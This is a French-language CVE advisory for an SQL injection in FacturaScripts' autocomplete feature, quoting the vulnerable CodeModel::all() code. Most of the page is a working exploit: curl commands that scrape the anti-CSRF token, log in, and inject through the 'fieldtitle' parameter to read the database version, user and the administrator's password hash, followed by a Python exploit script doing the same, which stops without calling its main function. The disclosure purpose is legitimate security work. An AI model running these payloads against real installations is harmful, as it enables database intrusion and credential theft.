
CVE-2026-25514 - FacturaScripts présente une injection SQL dans les actions de saisie automatique
| Champ | Détails |
|---|---|
| ID CVE | CVE-2026-25514 |
| Sévérité | HAUTE |
| Avis | Voir l'avis |
| Découvert par | Lukasz Rybak |
FacturaScripts contient une vulnérabilité critique d'injection SQL dans la fonctionnalité d'autocomplétion qui permet à un attaquant authentifié d'extraire des données sensibles de la base de données, notamment les identifiants utilisateur, les paramètres de configuration et toutes les données commerciales stockées. La vulnérabilité se trouve dans la méthode CodeModel::all() où les paramètres fournis par l'utilisateur sont directement concaténés dans les requêtes SQL sans assainissement ni liaison paramétrée.
Plusieurs contrôleurs dans FacturaScripts, notamment CopyModel, ListController et PanelController, implémentent une action d'autocomplétion qui traite les entrées utilisateur via les méthodes CodeModel::search() ou CodeModel::all(). Ces méthodes construisent des requêtes SQL en concaténant directement des paramètres contrôlés par l'utilisateur sans validation ni échappement.
Fichier : /Core/Model/CodeModel.php
Méthode : all()
Lignes : 108-109
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ......
// VULNERABLE CODE:
$sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
. 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
Les paramètres suivants sont vulnérables à l'injection SQL :
source → Mappe à $tableName - Injection de nom de tablefieldcode → Mappe à $fieldCode - Injection de nom de colonnefieldtitle → Mappe à $fieldDescription - Injection de nom de colonne (Vecteur d'attaque principal)/CopyModel avec action=autocompletefieldtitleÉtant donné que FacturaScripts utilise MultiRequestProtection, un multireqtoken valide est requis pour chaque requête POST.
1. Obtenir le jeton initial et le cookie de session :
FacturaScripts redirige / vers /login, donc nous utilisons -L pour suivre les redirections et -c pour enregistrer le cookie de session.
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN
2. S'authentifier (Connexion) : Utilisez le cookie enregistré et le jeton pour vous connecter.
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" \
-d "fsPassword=admin" \
-d "action=login" \
-d "multireqtoken=$TOKEN"
3. Extraire la version de la base de données : Obtenez un nouveau jeton pour la requête suivante et exécutez l'injection.
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=version()" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
4. Extraire l'utilisateur et le nom de la base de données :
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=concat(user(),' @ ',database())" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
5. Extraire le hachage du mot de passe administrateur :
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=password" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""
import requests
import re
import json
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
session = requests.Session()
def get_csrf_token(url):
"""Extract CSRF token from page"""
response = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
return match.group(1) if match else None
def login():
"""Authenticate to FacturaScripts"""
print(f"[*] Logging in as {USERNAME}...")
token = get_csrf_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get CSRF token")
exit()
data = {
"multireqtoken": token,
"action": "login",
"fsNick": USERNAME,
"fsPassword": PASSWORD
}
response = session.post(f"{BASE_URL}/login", data=data)
if "Dashboard" not in response.text:
print("[!] Login failed!")
exit()
print("[+] Successfully logged in.")
def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
"""Execute SQL injection through autocomplete"""
data = {
"action": "autocomplete",
"source": source,
"fieldcode": field_code,
"fieldtitle": field_payload,
"term": term
}
response = session.post(f"{BASE_URL}/CopyModel", data=data)
try:
return response.json()
except:
return None
def main():
login()
print("\n" + "="*60)
print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
print("="*60 + "\n")
# 1. Database version
print("[*] Extracting database version...")
res = exploit_sqli("version()")
if res:
print(f"[+] Database Version: {res[0]['value']}")
# 2. Current user and database
print("[*] Extracting DB user and database name...")
res = exploit_sqli("concat(user(),' @ ',database())")
if res:
print(f"[+] DB User @ Database: {res[0]['value']}")
# 3. Admin password hash
print("[*] Extracting admin password hash...")
res = exploit_sqli("password", term="admin")
if res:
print(f"[+] Admin Password Hash: {res[0]['value']}")